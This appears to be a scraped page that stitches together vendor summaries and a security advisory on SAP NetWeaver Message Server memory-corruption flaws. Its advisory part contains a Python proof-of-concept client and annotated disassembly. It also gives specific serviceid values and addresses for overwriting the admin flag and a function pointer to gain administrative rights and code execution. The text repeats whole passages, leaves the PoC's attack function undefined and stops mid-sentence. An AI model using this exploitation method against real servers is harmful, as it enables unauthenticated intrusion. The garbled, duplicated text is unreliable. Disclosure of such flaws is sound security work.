SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. SAP NetWeaver has a defect in the message with the opcode 0x43. If the message with sub opcode 0x4 contains a very long parameter value string, NetWeaver will eventually write the \\x00 byte to the end of the tag string in the stack, and the user-supplied input since the NULL byte position provides a very long Values can cause stack corruption and can execute arbitrary code in the context of a process. SAP Netweaver ABAP is prone to a remote code-execution vulnerability. An attacker may exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition

A Buffer Overflow vulnerability exists in the Message Server service _MsJ2EE_AddStatistics() function when sending specially crafted SAP Message Server packets to remote TCP ports 36NN and/or 39NN in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04, which could let a remote malicious user execute arbitrary code. SAP NetWeaver Contains a classic buffer overflow vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. Successfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions. The following products are affected: SAP Netweaver 2004s SAP Netweaver 7.01 SR1 SAP Netweaver 7.02 SP06 SAP Netweaver 7.30 SP04. The vulnerability is due to a memory pointer error while processing certain packets by the affected software.

The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* The following python script is the main PoC that can be used to reproduce all vulnerabilities described below: /----- import socket, struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-d", "--hostname", dest="hostname", help="Hostname", default="localhost") parser.add_option("-p", "--port", dest="port", type="int", help="Port number", default=3900) (options, args) = parser.parse_args() client_string = '-'+' '*39 server_name = '-'+' '*39 def send_packet(sock, packet): packet = struct.pack("!I", len(packet)) + packet sock.send(packet) def receive(sock): length = sock.recv(4) (length, ) = struct.unpack("!I", length) data = "" while len(data)<length: data+= sock.recv(length) return (length, data) def initialize_connection(hostname, port): # Connect print "[*] Connecting to", hostname, "port", port connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((hostname, port)) # Send initialization packet print "[*] Conected, sending login request" init = '**MESSAGE**\x00' # eyecatcher init+= '\x04' # version init+= '\x00' # errorno init+= client_string # toname init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key init+= '\x01\x08' # flag / iflag (MS_LOGIN_2) init+= client_string # fromname init+= '\x00\x00' # padd send_packet(connection, init) # Receive response print "[*] Receiving login reply" (length, data) = receive(connection) # Parsing login reply server_name = data[4+64:4+64+40] return connection # Main PoC body connection = initialize_connection(options.hostname, options.port) send_attack(connection) -----/ In the following subsections, we give the python code that can be added after the script above in order to reproduce all vulnerabilities. 8.1. Malicious packets are processed by the vulnerable function '_MsJ2EE_AddStatistics' in the 'msg_server.exe' module. The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a 'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled by the attacker. This struct type is defined as follows: /----- 00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type) 00000000 senderclusterid dd ? 00000004 clusterid dd ? 00000008 serviceid dd ? 0000000C groupid dd ? 00000010 nodetype db ? 00000011 db ? ; undefined 00000012 db ? ; undefined 00000013 db ? ; undefined 00000014 totallength dd ? 00000018 currentlength dd ? 0000001C currentoffset dd ? 00000020 totalblocks db ? 00000021 currentblock db ? 00000021 00000022 db ? ; undefined 00000023 db ? ; undefined 00000024 messagetype dd ? 00000028 MSJ2EE_HEADER ends -----/ The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the 'MSJ2EE_HEADER' to calculate an index to write into the 'j2ee_stat_services' global array, without properly validating that the index is within the boundaries of the array. On the other hand, 'j2ee_stat_services' is a global array of 256 elements of type 'MSJ2EE_STAT_ELEMENT': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ This vulnerability can be used to corrupt arbitrary memory with arbitrary values, with some restrictions. The following snippet shows the vulnerable code within the '_MsJ2EE_AddStatistics' function: /----- mov edi, [ebp+pJ2eeHeader] mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker controls MSJ2EE_HEADER.serviceid xor ecx, ecx cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx lea esi, [eax+eax*8] lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index without validating array bounds -----/ Since the 'serviceid' value is first multiplied by 9 and then it is multiplied by 8, the granularity of the memory addresses that can be targeted for memory corruption is 0x48 bytes, which is the size of the 'MSJ2EE_STAT_ELEMENT' struct: /----- 00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type) 00000000 ; XREF: .data:j2ee_stat_totalr 00000000 ; .data:j2ee_stat_servicesr 00000000 totalMsgCount dq ? ; XREF: _MsJ2EE_AddStatistics+1Br 00000000 ; _MsJ2EE_AddStatistics+2Fr ... 00000008 totalMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+192r 00000008 ; _MsJ2EE_AddStatistics+19Br ... 00000010 avgMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+1C2w 00000010 ; _MsJ2EE_AddStatistics+1C7w ... 00000018 maxLength dq ? ; XREF: _MsJ2EE_AddStatistics+161r 00000018 ; _MsJ2EE_AddStatistics+16Er ... 00000020 noP2PMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D442w 00000020 ; _MsJ2EE_AddStatistics+158w ... 00000028 noP2PRequest dq ? ; XREF: _MsJ2EE_AddStatistics+144w 00000028 ; _MsJ2EE_AddStatistics+14Aw ... 00000030 noP2PReply dq ? ; XREF: _MsJ2EE_AddStatistics+132w 00000030 ; _MsJ2EE_AddStatistics+138w ... 00000038 noBroadcastMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D40Dw 00000038 ; _MsJ2EE_AddStatistics+123w ... 00000040 noBroadcastRequest dq ? ; XREF: _MsJ2EE_AddStatistics+10Fw 00000040 ; _MsJ2EE_AddStatistics+115w ... 00000048 MSJ2EE_STAT_ELEMENT ends -----/ However, it is possible to use different combinations of the 'flag/iflag' values in the Message Server packet to gain more precision over the memory addresses that can be corrupted. Different combinations of 'flag/iflag' values provide different memory corruption primitives, as shown below: /----- At this point: * ESI points to an arbitrary, attacker-controlled memory address * EBX == 1 .text:0044D359 movzx eax, [ebp+msiflag] .text:0044D35D sub eax, 0Ch .text:0044D360 jz short loc_44D37C .text:0044D362 sub eax, ebx .text:0044D364 jnz short loc_44D39D .text:0044D366 cmp [ebp+msflag], 2 .text:0044D36A jnz short loc_44D374 .text:0044D36C add [esi+40h], ebx ; iflag=0xd, flag=2 => add 1 to [esi+0x40] .text:0044D36F adc [esi+44h], ecx .text:0044D372 jmp short loc_44D39D .text:0044D374 ; --------------------------------------------------------------------------- .text:0044D374 .text:0044D374 loc_44D374: ; CODE XREF: _MsJ2EE_AddStatistics+7Aj .text:0044D374 add [esi+38h], ebx ; iflag=0xd, flag=1 => add 1 to [esi+0x38] .text:0044D377 adc [esi+3Ch], ecx .text:0044D37A jmp short loc_44D39D .text:0044D37C ; --------------------------------------------------------------------------- .text:0044D37C .text:0044D37C loc_44D37C: ; CODE XREF: _MsJ2EE_AddStatistics+70j .text:0044D37C mov al, [ebp+msflag] .text:0044D37F cmp al, 3 .text:0044D381 jnz short loc_44D38B .text:0044D383 add [esi+30h], ebx ; iflag=0xc, flag=3 => add 1 to [esi+0x30] .text:0044D386 adc [esi+34h], ecx .text:0044D389 jmp short loc_44D39D .text:0044D38B ; --------------------------------------------------------------------------- .text:0044D38B .text:0044D38B loc_44D38B: ; CODE XREF: _MsJ2EE_AddStatistics+91j .text:0044D38B cmp al, 2 .text:0044D38D jnz short loc_44D397 .text:0044D38F add [esi+28h], ebx ; iflag=0xc, flag=2 => add 1 to [esi+0x28] .text:0044D392 adc [esi+2Ch], ecx .text:0044D395 jmp short loc_44D39D .text:0044D397 ; --------------------------------------------------------------------------- .text:0044D397 .text:0044D397 loc_44D397: ; CODE XREF: _MsJ2EE_AddStatistics+9Dj .text:0044D397 add [esi+20h], ebx ; iflag=0xc, flag=1 => add 1 to [esi+0x20] .text:0044D39A adc [esi+24h], ecx [...] -----/ And the following code excerpt is always executed within the '_MsJ2EE_AddStatistics' function, providing two more memory corruption primitives: /----- .text:0044D3B7 add [esi], ebx ;add 1 to [esi] .text:0044D3B9 adc dword ptr [esi+4], 0 .text:0044D3BD mov eax, [edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully controlled by the attacker .text:0044D3C0 cdq .text:0044D3C1 add [esi+8], eax ;add an arbitrary number to [esi+8] -----/ This memory corruption vulnerability can be used by remote unauthenticated attackers to execute arbitrary code on vulnerable installations of SAP Netweaver, but it can also be abused to modify the internal state of the vulnerable service in order to gain administrative privileges within the SAP Netweaver Message Server. A client connected to the Message Server may have administrative privileges or not. The Message Server holds a structure of type 'MSADM_s' for each connected client, which contains information about that very connection. Relevant parts of the 'MSADM_s' struct type are shown below: /----- 00000000 MSADM_s struc ; (sizeof=0x538, standard type) 00000000 ; XREF: .data:dummy_clientr 00000000 client_type dd ? ; enum MS_CLIENT_TYPE 00000004 stat dd ? ; enum MS_STAT 00000008 connection_ID dd ? 0000000C status db ? 0000000D dom db ? ; XREF: MsSFillCon+3Cw 0000000E admin_allowed db ? 0000000F db ? ; undefined 00000010 name dw 40 dup(?) [...] 00000534 _padding db 4 dup(?) 00000538 MSADM_s ends -----/ The 'admin_allowed' field at offset 0x0E is a boolean value that indicates whether the connected client has administrative privileges or not. When a new client connects, the 'MsSLoginClient' function of the Message Server sets the proper value for the 'admin_allowed' field in the 'MSADM_s' struct instance associated with that client: /----- .text:004230DC loc_4230DC: ; CODE XREF: MsSLoginClient+AAAj .text:004230DC ; MsSLoginClient+B26j .text:004230DC cmp byte ptr [edi+0Eh], 0 ; privileged client? .text:004230E0 jnz short loc_4230EA ; if yes, jump .text:004230E2 mov al, byte ptr ms_admin_allowed ; otherwise, grab the value of the "ms_admin_allowed" global variable... .text:004230E7 mov [edi+0Eh], al ; ...and save it to MSADM_s.admin_allowed -----/ So if we manage to overwrite the value of the 'ms_admin_allowed' global variable with a value different than 0, then we can grant administrative privileges to our unprivileged connections. In SAP Netweaver 'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global variable is located at '0x008f17f0': /----- .data:008F17F0 ; int ms_admin_allowed .data:008F17F0 ms_admin_allowed dd ? ; DATA XREF: MsSSetMonitor+7Ew .data:008F17F0 ; MsSLoginClient+B62r -----/ And the 'j2ee_stat_services' global array, which is the array that can be indexed outside its bounds, is located at '0x0090b9e0': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be targeting '0x008F17C8' as the base address for memory corruption. Having in mind the different memory corruption primitives based on combinations of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and 'flag == 0x2' in our Message Server packet we will be able to add 1 to '[0x008F17C8+0x28]', effectively overwriting the contents of '0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed', all of our future connections will have administrative privileges within the Message Server. After gaining administrative privileges for our future connections, there are at least two possible paths of exploitation: 1. Of course it is not mandatory to have administrative privileges in order to overwrite function pointers, but considering the limitation of targetable addresses imposed by the little granularity of the memory corruption, some of the most handy-to-exploit function pointers happened to be accessible just for administrative connections. 2. Modify the configuration and behavior of the server. That includes changing Message Server's runtime parameters and enabling Monitor Mode in the affected server. 8.1.1. *Gaining remote code execution by overwriting function pointers* Having in mind that the granularity of the memory addresses that can be targeted for memory corruption is not that flexible (0x48 bytes) and the limited memory corruption primitives available, it takes some effort to find a function pointer that can be overwritten with a useful value and which can be later triggered with a network packet. One possibility is to overwrite one of the function pointers which are in charge of handling the modification of Message Server parameters: /----- .data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58] ; function pointers associated to the modification of the "ms/max_sleep" parameter .data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_sleep, \ .data:0087DED0 offset MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2" .data:0087DED0 offset MsSSetMaxSleep> ; function pointers associated to the modification of the "ms/max_vhost" parameter .data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_vhost, \ .data:0087DED0 offset MsSTestInteger, \ ;<-- we can overwrite this one .data:0087DED0 offset MsSSetMaxVirtHost> [...] -----/ By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target '0x0087DED8' as the base address for memory corruption. In this case we can use the memory corruption primitive at address '0x0044D3C1' that always gets executed, which will allow us to add an arbitrary number (the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]' effectively overwriting the function pointer shown above ('ms_changeable_parameter[1].set'). After that we need to send a 'MS_SET_PROPERTY' request, specifying 'ms/max_vhost' as the name of the property to be changed. This 'MS_SET_PROPERTY' packet will make our overwritten function pointer to be called from the 'MsSChangeParam' function: /----- .text:00404DB3 loc_404DB3: ; CODE XREF: MsSChangeParam+CDj .text:00404DB3 lea esi, [edi+edi*2] .text:00404DB6 mov edi, [ebp+pvalue] .text:00404DB9 add esi, esi .text:00404DBB mov edx, ms_changeable_parameter.test[esi+esi] .text:00404DC2 add esi, esi .text:00404DC4 push edi .text:00404DC5 push pname .text:00404DC6 call edx ; call our overwritten function pointer -----/ 'MS_SET_PROPERTY' packets will be ignored by the Message Server if the requesting client does not have administrative privileges, so it is necessary to gain administrative privileges as explained above before using the memory corruption vulnerability to overwrite one of the function pointers in the 'ms_changeable_parameter' global array. 8.1.2. *Modify the configuration and behavior of the server* After gaining administrative privileges for our connections, it is possible to perform 'MS_SET_PROPERTY' packets against the Message Server in order to modify its configuration and behavior. That makes possible, for example, to add virtual hosts to the load balancer, or to enable Monitor Mode [3] (transaction SMMS) on the affected server. Enabling Monitor Mode takes two steps: 1. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/monitor"', property 'value == 1'. 2. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/admin_port"', property 'value == 3535' (or any other arbitrary port number). After sending the second 'MS_SET_PROPERTY' packet, the SAP Netweaver Message Server will start listening on the specified port, waiting for connections from instances of the msmon.exe monitoring program [4].

A Denial of Service vulnerability exists in the WRITE_C function in the msg_server.exe module in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04 when sending a crafted SAP Message Server packet to TCP ports 36NN and/or 39NN. SAP NetWeaver Contains an array index validation vulnerability.Denial of service operation (DoS) May be in a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of SAP Netweaver ABAP. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. Successfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions. The following products are affected: SAP Netweaver 2004s SAP Netweaver 7.01 SR1 SAP Netweaver 7.02 SP06 SAP Netweaver 7.30 SP04. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ CORE-2012-1128 1. *Advisory Information* Title: SAP Netweaver Message Server Multiple Vulnerabilities Advisory ID: CORE-2012-1128 Advisory URL: http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities Date published: 2013-02-13 Date of last update: 2013-02-13 Vendors contacted: SAP Release mode: Coordinated release 2. *Vulnerability Information* Class: Improper Validation of Array Index [CWE-129], Buffer overflow [CWE-119] Impact: Code execution, Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1592, CVE-2013-1593 3. By sending different messages, the different vulnerabilities can be triggered. 4. *Vulnerable packages* . Older versions are probably affected too, but they were not checked. 5. *Non-vulnerable packages* . Vendor did not provide this information. 6. *Vendor Information, Solutions and Workarounds* SAP released the security note 1800603 [2] regarding these issues. 7. *Credits* Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and Francisco Falcon, and additional research was performed by Francisco Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by Martin Gallo from Core Security Consulting Services. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* The following python script is the main PoC that can be used to reproduce all vulnerabilities described below: /----- import socket, struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-d", "--hostname", dest="hostname", help="Hostname", default="localhost") parser.add_option("-p", "--port", dest="port", type="int", help="Port number", default=3900) (options, args) = parser.parse_args() client_string = '-'+' '*39 server_name = '-'+' '*39 def send_packet(sock, packet): packet = struct.pack("!I", len(packet)) + packet sock.send(packet) def receive(sock): length = sock.recv(4) (length, ) = struct.unpack("!I", length) data = "" while len(data)<length: data+= sock.recv(length) return (length, data) def initialize_connection(hostname, port): # Connect print "[*] Connecting to", hostname, "port", port connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((hostname, port)) # Send initialization packet print "[*] Conected, sending login request" init = '**MESSAGE**\x00' # eyecatcher init+= '\x04' # version init+= '\x00' # errorno init+= client_string # toname init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key init+= '\x01\x08' # flag / iflag (MS_LOGIN_2) init+= client_string # fromname init+= '\x00\x00' # padd send_packet(connection, init) # Receive response print "[*] Receiving login reply" (length, data) = receive(connection) # Parsing login reply server_name = data[4+64:4+64+40] return connection # Main PoC body connection = initialize_connection(options.hostname, options.port) send_attack(connection) -----/ In the following subsections, we give the python code that can be added after the script above in order to reproduce all vulnerabilities. 8.1. Malicious packets are processed by the vulnerable function '_MsJ2EE_AddStatistics' in the 'msg_server.exe' module. The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a 'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled by the attacker. This struct type is defined as follows: /----- 00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type) 00000000 senderclusterid dd ? 00000004 clusterid dd ? 00000008 serviceid dd ? 0000000C groupid dd ? 00000010 nodetype db ? 00000011 db ? ; undefined 00000012 db ? ; undefined 00000013 db ? ; undefined 00000014 totallength dd ? 00000018 currentlength dd ? 0000001C currentoffset dd ? 00000020 totalblocks db ? 00000021 currentblock db ? 00000021 00000022 db ? ; undefined 00000023 db ? ; undefined 00000024 messagetype dd ? 00000028 MSJ2EE_HEADER ends -----/ The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the 'MSJ2EE_HEADER' to calculate an index to write into the 'j2ee_stat_services' global array, without properly validating that the index is within the boundaries of the array. On the other hand, 'j2ee_stat_services' is a global array of 256 elements of type 'MSJ2EE_STAT_ELEMENT': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ This vulnerability can be used to corrupt arbitrary memory with arbitrary values, with some restrictions. The following snippet shows the vulnerable code within the '_MsJ2EE_AddStatistics' function: /----- mov edi, [ebp+pJ2eeHeader] mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker controls MSJ2EE_HEADER.serviceid xor ecx, ecx cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx lea esi, [eax+eax*8] lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index without validating array bounds -----/ Since the 'serviceid' value is first multiplied by 9 and then it is multiplied by 8, the granularity of the memory addresses that can be targeted for memory corruption is 0x48 bytes, which is the size of the 'MSJ2EE_STAT_ELEMENT' struct: /----- 00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type) 00000000 ; XREF: .data:j2ee_stat_totalr 00000000 ; .data:j2ee_stat_servicesr 00000000 totalMsgCount dq ? ; XREF: _MsJ2EE_AddStatistics+1Br 00000000 ; _MsJ2EE_AddStatistics+2Fr ... 00000008 totalMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+192r 00000008 ; _MsJ2EE_AddStatistics+19Br ... 00000010 avgMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+1C2w 00000010 ; _MsJ2EE_AddStatistics+1C7w ... 00000018 maxLength dq ? ; XREF: _MsJ2EE_AddStatistics+161r 00000018 ; _MsJ2EE_AddStatistics+16Er ... 00000020 noP2PMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D442w 00000020 ; _MsJ2EE_AddStatistics+158w ... 00000028 noP2PRequest dq ? ; XREF: _MsJ2EE_AddStatistics+144w 00000028 ; _MsJ2EE_AddStatistics+14Aw ... 00000030 noP2PReply dq ? ; XREF: _MsJ2EE_AddStatistics+132w 00000030 ; _MsJ2EE_AddStatistics+138w ... 00000038 noBroadcastMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D40Dw 00000038 ; _MsJ2EE_AddStatistics+123w ... 00000040 noBroadcastRequest dq ? ; XREF: _MsJ2EE_AddStatistics+10Fw 00000040 ; _MsJ2EE_AddStatistics+115w ... 00000048 MSJ2EE_STAT_ELEMENT ends -----/ However, it is possible to use different combinations of the 'flag/iflag' values in the Message Server packet to gain more precision over the memory addresses that can be corrupted. Different combinations of 'flag/iflag' values provide different memory corruption primitives, as shown below: /----- At this point: * ESI points to an arbitrary, attacker-controlled memory address * EBX == 1 .text:0044D359 movzx eax, [ebp+msiflag] .text:0044D35D sub eax, 0Ch .text:0044D360 jz short loc_44D37C .text:0044D362 sub eax, ebx .text:0044D364 jnz short loc_44D39D .text:0044D366 cmp [ebp+msflag], 2 .text:0044D36A jnz short loc_44D374 .text:0044D36C add [esi+40h], ebx ; iflag=0xd, flag=2 => add 1 to [esi+0x40] .text:0044D36F adc [esi+44h], ecx .text:0044D372 jmp short loc_44D39D .text:0044D374 ; --------------------------------------------------------------------------- .text:0044D374 .text:0044D374 loc_44D374: ; CODE XREF: _MsJ2EE_AddStatistics+7Aj .text:0044D374 add [esi+38h], ebx ; iflag=0xd, flag=1 => add 1 to [esi+0x38] .text:0044D377 adc [esi+3Ch], ecx .text:0044D37A jmp short loc_44D39D .text:0044D37C ; --------------------------------------------------------------------------- .text:0044D37C .text:0044D37C loc_44D37C: ; CODE XREF: _MsJ2EE_AddStatistics+70j .text:0044D37C mov al, [ebp+msflag] .text:0044D37F cmp al, 3 .text:0044D381 jnz short loc_44D38B .text:0044D383 add [esi+30h], ebx ; iflag=0xc, flag=3 => add 1 to [esi+0x30] .text:0044D386 adc [esi+34h], ecx .text:0044D389 jmp short loc_44D39D .text:0044D38B ; --------------------------------------------------------------------------- .text:0044D38B .text:0044D38B loc_44D38B: ; CODE XREF: _MsJ2EE_AddStatistics+91j .text:0044D38B cmp al, 2 .text:0044D38D jnz short loc_44D397 .text:0044D38F add [esi+28h], ebx ; iflag=0xc, flag=2 => add 1 to [esi+0x28] .text:0044D392 adc [esi+2Ch], ecx .text:0044D395 jmp short loc_44D39D .text:0044D397 ; --------------------------------------------------------------------------- .text:0044D397 .text:0044D397 loc_44D397: ; CODE XREF: _MsJ2EE_AddStatistics+9Dj .text:0044D397 add [esi+20h], ebx ; iflag=0xc, flag=1 => add 1 to [esi+0x20] .text:0044D39A adc [esi+24h], ecx [...] -----/ And the following code excerpt is always executed within the '_MsJ2EE_AddStatistics' function, providing two more memory corruption primitives: /----- .text:0044D3B7 add [esi], ebx ;add 1 to [esi] .text:0044D3B9 adc dword ptr [esi+4], 0 .text:0044D3BD mov eax, [edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully controlled by the attacker .text:0044D3C0 cdq .text:0044D3C1 add [esi+8], eax ;add an arbitrary number to [esi+8] -----/ This memory corruption vulnerability can be used by remote unauthenticated attackers to execute arbitrary code on vulnerable installations of SAP Netweaver, but it can also be abused to modify the internal state of the vulnerable service in order to gain administrative privileges within the SAP Netweaver Message Server. A client connected to the Message Server may have administrative privileges or not. The Message Server holds a structure of type 'MSADM_s' for each connected client, which contains information about that very connection. Relevant parts of the 'MSADM_s' struct type are shown below: /----- 00000000 MSADM_s struc ; (sizeof=0x538, standard type) 00000000 ; XREF: .data:dummy_clientr 00000000 client_type dd ? ; enum MS_CLIENT_TYPE 00000004 stat dd ? ; enum MS_STAT 00000008 connection_ID dd ? 0000000C status db ? 0000000D dom db ? ; XREF: MsSFillCon+3Cw 0000000E admin_allowed db ? 0000000F db ? ; undefined 00000010 name dw 40 dup(?) [...] 00000534 _padding db 4 dup(?) 00000538 MSADM_s ends -----/ The 'admin_allowed' field at offset 0x0E is a boolean value that indicates whether the connected client has administrative privileges or not. When a new client connects, the 'MsSLoginClient' function of the Message Server sets the proper value for the 'admin_allowed' field in the 'MSADM_s' struct instance associated with that client: /----- .text:004230DC loc_4230DC: ; CODE XREF: MsSLoginClient+AAAj .text:004230DC ; MsSLoginClient+B26j .text:004230DC cmp byte ptr [edi+0Eh], 0 ; privileged client? .text:004230E0 jnz short loc_4230EA ; if yes, jump .text:004230E2 mov al, byte ptr ms_admin_allowed ; otherwise, grab the value of the "ms_admin_allowed" global variable... .text:004230E7 mov [edi+0Eh], al ; ...and save it to MSADM_s.admin_allowed -----/ So if we manage to overwrite the value of the 'ms_admin_allowed' global variable with a value different than 0, then we can grant administrative privileges to our unprivileged connections. In SAP Netweaver 'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global variable is located at '0x008f17f0': /----- .data:008F17F0 ; int ms_admin_allowed .data:008F17F0 ms_admin_allowed dd ? ; DATA XREF: MsSSetMonitor+7Ew .data:008F17F0 ; MsSLoginClient+B62r -----/ And the 'j2ee_stat_services' global array, which is the array that can be indexed outside its bounds, is located at '0x0090b9e0': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be targeting '0x008F17C8' as the base address for memory corruption. Having in mind the different memory corruption primitives based on combinations of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and 'flag == 0x2' in our Message Server packet we will be able to add 1 to '[0x008F17C8+0x28]', effectively overwriting the contents of '0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed', all of our future connections will have administrative privileges within the Message Server. After gaining administrative privileges for our future connections, there are at least two possible paths of exploitation: 1. Of course it is not mandatory to have administrative privileges in order to overwrite function pointers, but considering the limitation of targetable addresses imposed by the little granularity of the memory corruption, some of the most handy-to-exploit function pointers happened to be accessible just for administrative connections. 2. Modify the configuration and behavior of the server. That includes changing Message Server's runtime parameters and enabling Monitor Mode in the affected server. 8.1.1. *Gaining remote code execution by overwriting function pointers* Having in mind that the granularity of the memory addresses that can be targeted for memory corruption is not that flexible (0x48 bytes) and the limited memory corruption primitives available, it takes some effort to find a function pointer that can be overwritten with a useful value and which can be later triggered with a network packet. One possibility is to overwrite one of the function pointers which are in charge of handling the modification of Message Server parameters: /----- .data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58] ; function pointers associated to the modification of the "ms/max_sleep" parameter .data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_sleep, \ .data:0087DED0 offset MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2" .data:0087DED0 offset MsSSetMaxSleep> ; function pointers associated to the modification of the "ms/max_vhost" parameter .data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_vhost, \ .data:0087DED0 offset MsSTestInteger, \ ;<-- we can overwrite this one .data:0087DED0 offset MsSSetMaxVirtHost> [...] -----/ By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target '0x0087DED8' as the base address for memory corruption. In this case we can use the memory corruption primitive at address '0x0044D3C1' that always gets executed, which will allow us to add an arbitrary number (the value of 'MSJ2EE_HEADER.totallength') to 